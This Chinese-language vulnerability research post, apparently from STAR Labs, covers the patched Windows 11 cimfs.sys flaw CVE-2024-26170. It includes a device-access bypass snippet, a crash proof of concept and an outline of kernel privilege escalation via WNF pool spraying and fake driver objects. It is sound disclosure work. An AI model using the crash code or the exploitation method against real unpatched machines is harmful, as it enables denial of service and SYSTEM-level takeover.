CimFS内核漏洞:从内存崩溃到SYSTEM权限获取

本文详细分析了Windows 11 CimFS驱动中的内核0day漏洞CVE-2024-26170,包括认证绕过机制、模糊测试方法、越界读取漏洞分析,以及通过WNF状态数据对象实现内核任意代码执行的完整利用过程。

CimFS: 内存崩溃与SYSTEM权限获取(内核版)

引言

当今许多漏洞分析文章主要关注软件漏洞的利用过程。“漏洞利用开发者"这个词仍然与漏洞研究同义使用,这可能源于2000年代初期,当时漏洞容易发现,社区刚开始探索利用艺术。然而如今随着SDL和持续模糊测试的普及,在关键系统中发现未知漏洞变得越来越重要,可以说比利用过程更重要。为了鼓励更多关于漏洞发现方面的写作,我们发布这篇博客文章,讨论在Windows 11中发现和利用内核0day进行本地权限提升的历程。

本文提到的漏洞都在2024年3月更新中作为CVE-2024-26170修补。经过一年的修补期,我们觉得可以发布这篇博客文章了。这些漏洞通过简单限制非特权用户对驱动程序的访问来修补,因此无法通过补丁差异分析识别。这也意味着这些漏洞仍然是Admin->Kernel 0day,但在Windows上存在许多此类攻击途径,微软不将其视为安全边界破坏。

开始

2024年初我刚加入STAR Labs时,老板就让我们专注于准备Pwn2Own 2024。在他指出的许多潜在目标中,有一个特别突出:cimfs.sys,即复合映像文件系统驱动程序。这个特定的驱动程序是Windows 11默认安装的一部分,似乎提供了一个有趣的机会。当时它没有任何已知漏洞,这对我们来说是一个令人兴奋但有风险的前景。一方面,这是一张白纸,一个潜在的新攻击面。另一方面,缺乏先前研究或N-day漏洞利用意味着我们正在进入未知领域。我们必须从头开始建立理解,没有路线图指导我们。于是,挑战开始了。

但是,就在我们认为有希望的时候,事情出现了变故。这些漏洞在Pwn2Own 2024开始之前就被修补了。真是令人沮丧!所有在新目标中寻找漏洞的辛勤工作,就在我们准备就绪时,已经被封闭了。

关于复合映像文件格式(CIM)的一些信息: CIM是一种基于文件的映像格式,概念上类似于WIM。

CIM格式由少量平面文件组成,包括一个或多个数据和元数据区域文件、一个或多个对象ID文件以及一个或多个文件系统描述文件。由于其"平面性”,CIM比它们包含的等效原始目录更快地构建、提取和删除。

CIM是复合的,因为给定映像可以包含多个文件系统卷,这些卷可以单独挂载,同时共享相同的数据区域支持文件。

构建完成后,可以在CimFS驱动程序的支持下挂载CIM。挂载为映像构造一个只读磁盘和文件系统卷设备。可以使用标准Win32或NT API文件系统接口以只读方式访问已挂载CIM的内容。CimFS文件系统支持NTFS的许多构造,如安全描述符、备用数据流、硬链接和重解析点。

TLDR:另一个可以通过Win32 API挂载和读取的文件系统。文件请求将由驱动程序cimfs.sys处理以模拟只读文件系统。

驱动程序暴露一个控制设备对象\Device\cimfs\control以促进新CimFS卷的创建。用户模式客户端可以通过发出IOCTL与控制设备交互。例如,IOCTL代码0x220004用于挂载新的CimFS卷。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
switch ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode )
{
  case 0x220004u:                             // mount volume
    
    ...

    for ( i = CimFs::g_LoadReference + 1; i > 1; i = v85 + 1 )
    {
      v86 = v85;
      v85 = _InterlockedCompareExchange64(&CimFs::g_LoadReference, i, v85);
      if ( v86 == v85 )
      {
        mountImageFlags = userBuffer->MountImageFlags;
        regionSetBuf = (_UNICODE_STRING)regionSetBufRef;
        bufferContainingPath = v114;
        result = CimFs::MountVolume(
                   &bufferContainingPath,
                   (struct cstmREGION_SET *)&regionSetBuf,
                   regionOffset,
                   userBuffer,
                   mountImageFlags);
        if ( (int)result >= 0 )
          return result;
        v88 = _InterlockedDecrement64(&CimFs::g_LoadReference);
        if ( v88 > 0 )
          return result;
        if ( v88 )
          __fastfail(0xEu);
LABEL_197:
        __fastfail(0xEu);
      }
    }
 
    ...

}

认证绕过

设置在此设备对象上的安全描述符将访问限制为仅管理员。 Sddl: D:P(A;;GA;;;SY)(A;;GA;;;BA)

这意味着驱动程序可能不打算暴露给非特权客户端。 然而,在设备创建期间未设置FILE_DEVICE_SECURE_OPEN标志,允许非特权用户通过简单地将其视为文件系统驱动器来打开句柄并向控制设备发出IOCTL。

1
2
3
4
5
6
7
8
9
hDevice = CreateFileW(
    L"\\??\\CimfsControl\\something",
    0,
    0,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
);

逻辑是,由于设置在对象上的DACL,我们无法直接打开根设备\??\CimfsControl,但这不会传播到根设备下的任何子设备,如\??\CimfsControl\abcdef。所有请求无论如何都会由控制设备处理,允许我们绕过认证并打开攻击面。

挂载操作

在决定攻击计划之前,我们需要探索cimfs.sys的工作原理,从挂载操作开始。幸运的是,cimfs附带了一个用户模式伴生DLL cimfs.dll,并且其函数有文档记录。DLL不知道认证绕过,因此我们必须修补DLL或手动向驱动程序发出调用。

通过逆向伴生DLL,我们能够恢复手动调用挂载的参数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
typedef struct
{
    GUID                RegionGUID;
    WORD                RegionCount;
    WORD                Padding;
    DWORD               Padding1;
} REGION_FIELD;

typedef struct
{
    GUID                VolumeGUID;
    ULONG64             RegionOffset;
    DWORD               MountImageFlags;
    WORD                RegionEntryCount;
    WORD                ImageContainingPathLengthBytes;
    REGION_FIELD        Regions[1];
    WCHAR               ImageContainingPath[];
} IOCTL_MOUNT_BUFFER_DATA;

挂载前,我们需要创建一些存储底层CIM文件系统的文件。这些文件由伴生DLL在导出函数CimCreateImage()中创建。

这些文件具有完全未记录的复杂二进制格式,完全恢复格式将非常困难。特别是,区域文件大小为135168字节,存储各种数据段、流段、重解析数据、硬链接数据、安全描述符、文件哈希…它本质上是一个完整的文件系统!

在挂载期间,cimfs.sys:

  • 使用Cim::ImageReader::*函数从区域文件中提取元数据
  • 在\Device\cimfs\下创建新的磁盘设备
  • 创建新的卷设备
  • 在每个设备的DeviceExtension中存储元数据

挂载后,卷设备将在\?\Volume{VOLUME_GUID}\全局目录下可用,我们可以在其中创建句柄并使用正常的Win32 API进行交互。

攻击计划

区域文件是存储在单个文件中的复杂文件系统。事实上,它支持许多NTFS操作,如备用数据流(ADS)、硬链接、安全描述符、属性、重解析数据、扩展属性(EA)…

cimfs驱动程序必须解析此区域文件以处理任何这些请求。从历史中我们知道,解析是困难的。在我们手动解决文件格式的同时,首先模糊测试驱动程序可能是个好主意,而不是陷入逆向工程并浪费时间。

我快速编写了一个自定义模糊器向驱动程序投掷测试用例。想法是,我们已经审计了挂载映像代码,因此我们希望专注于挂载后的操作。我们将使用挂载操作作为验证器。任何导致挂载失败的突变都将被丢弃(非常粗糙但对于简单模糊足够好)。这样我们可以在没有任何额外检测的情况下控制和指导突变。成功挂载后,我们将通过调用Win32 API来执行解析代码。

最重要的部分是初始语料库创建。我们希望其熵非常高,这样我们的突变触发嵌套复杂性的机会更大。你会惊讶于当你启用每个可能的功能时,有多少程序会崩溃。

最后我们想要执行解析逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ReadFile(hFile, &commonBuf, 0x5, &read, NULL);

// 查询所有可能的信息
for (int i = 4; i < 77; i++)
    NtQueryInformationFile(hFile, &isb, &commonBuf, sizeof(commonBuf), i);

NtQueryEaFile(hFile, &isb, &commonBuf, sizeof(commonBuf), FALSE, NULL, 0, NULL, TRUE);
FsGetAllSecurityInfo(hFile, NULL);

DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, NULL, 0, &commonBuf, sizeof(commonBuf), &read, NULL);

为了更多混乱,我们可以加入一些随机线程来调用这些操作以模糊测试竞争条件。

模糊测试结果

简单的模糊测试带来了良好的结果。

在几个小时的模糊测试和调整后,我们得到了许多崩溃,后来将其分组为7个独特的错误,影响范围从拒绝服务到信息泄露再到代码执行。

只是为了好玩,这里有一个可以放在推文中的BSOD poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
HANDLE      hDevice = NULL, hToken = NULL;
char        x[0x1c] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaa";
DWORD       ret = 0;

hDevice = CreateFileW(
    L"\\??\\CimfsControl\\something",
    0,
    0,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
);

DeviceIoControl(hDevice, 0x220014, &x, sizeof(x), NULL, 0, &ret, NULL);

我们最终用于代码执行的错误是OOBR1,一个越界读取错误。肯定还有更多错误,但由于浅层崩溃,模糊器无法继续前进。

错误分析

崩溃上下文显示此错误通过ReadFile()调用到隐藏存档文件的硬链接的备用数据流触发。有趣的是,当Microsoft Defender尝试扫描我们打开的文件句柄时也会触发。

如上所述,cimfs使用Cim::FileSystem::*函数来解析区域文件。Cim::FileSystem::GetDataSegment()函数不符合验证要求,允许我们绕过检查并使函数返回完全在用户控制下的未验证偏移量。

随着执行继续,偏移量用于定位内核内存中的文件对象指针,然后传递给IoGetRelatedDeviceObject()。使用未验证的偏移量,读取发生在驱动程序分配的池块边界之外,“指针"可能来自完全无关的块。

通过在内核池中喷洒自定义对象,攻击者可以在内核内存中制作假设备对象结构,该结构将由IoGetRelatedDeviceObject()返回并传递给IofCallDriver()。后者函数解引用假设备对象以找到假驱动程序对象,然后调用攻击者控制的驱动程序对象内的函数指针。这样,攻击者获得任意调用原语,绕过CFG并提升权限将变得简单。

利用

如上所述,可以控制IoGetRelatedDeviceObject()对来自分页池中相邻分配的指针进行操作。该函数期望一个PFILE_OBJECT,因此我们应该在内核内存中伪造一个文件对象,然后将其地址喷洒到分页池中。

我们使用著名的_WNF_STATE_DATA对象来容纳假文件对象,并喷洒文件对象的地址。这是因为NtUpdateWnfStateData()允许我们在分配后修改块的内容,这在此漏洞利用中至关重要,因为我们只能在分配后查找块的地址。

最终_WNF_STATE_DATA块不仅是假文件对象,还是假设备对象和假驱动程序对象。

最后我们喷洒更多包含假文件对象地址的_WNF_STATE_DATA对象。这些对象中的1/4被释放,为cimfs做出的受害者分配制造空洞。

现在只需生成一个线程来触发错误,我们就可以获得任意读/写。

结论

在漏洞狩猎的世界中,找到一个好目标(新表面)总是比盲目跳入目标更有效。不要害怕开始研究之前没有漏洞的目标。当你手动审计时,考虑在后台运行简单的模糊测试会话。结合手动和自动化测试以获得最佳效果。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计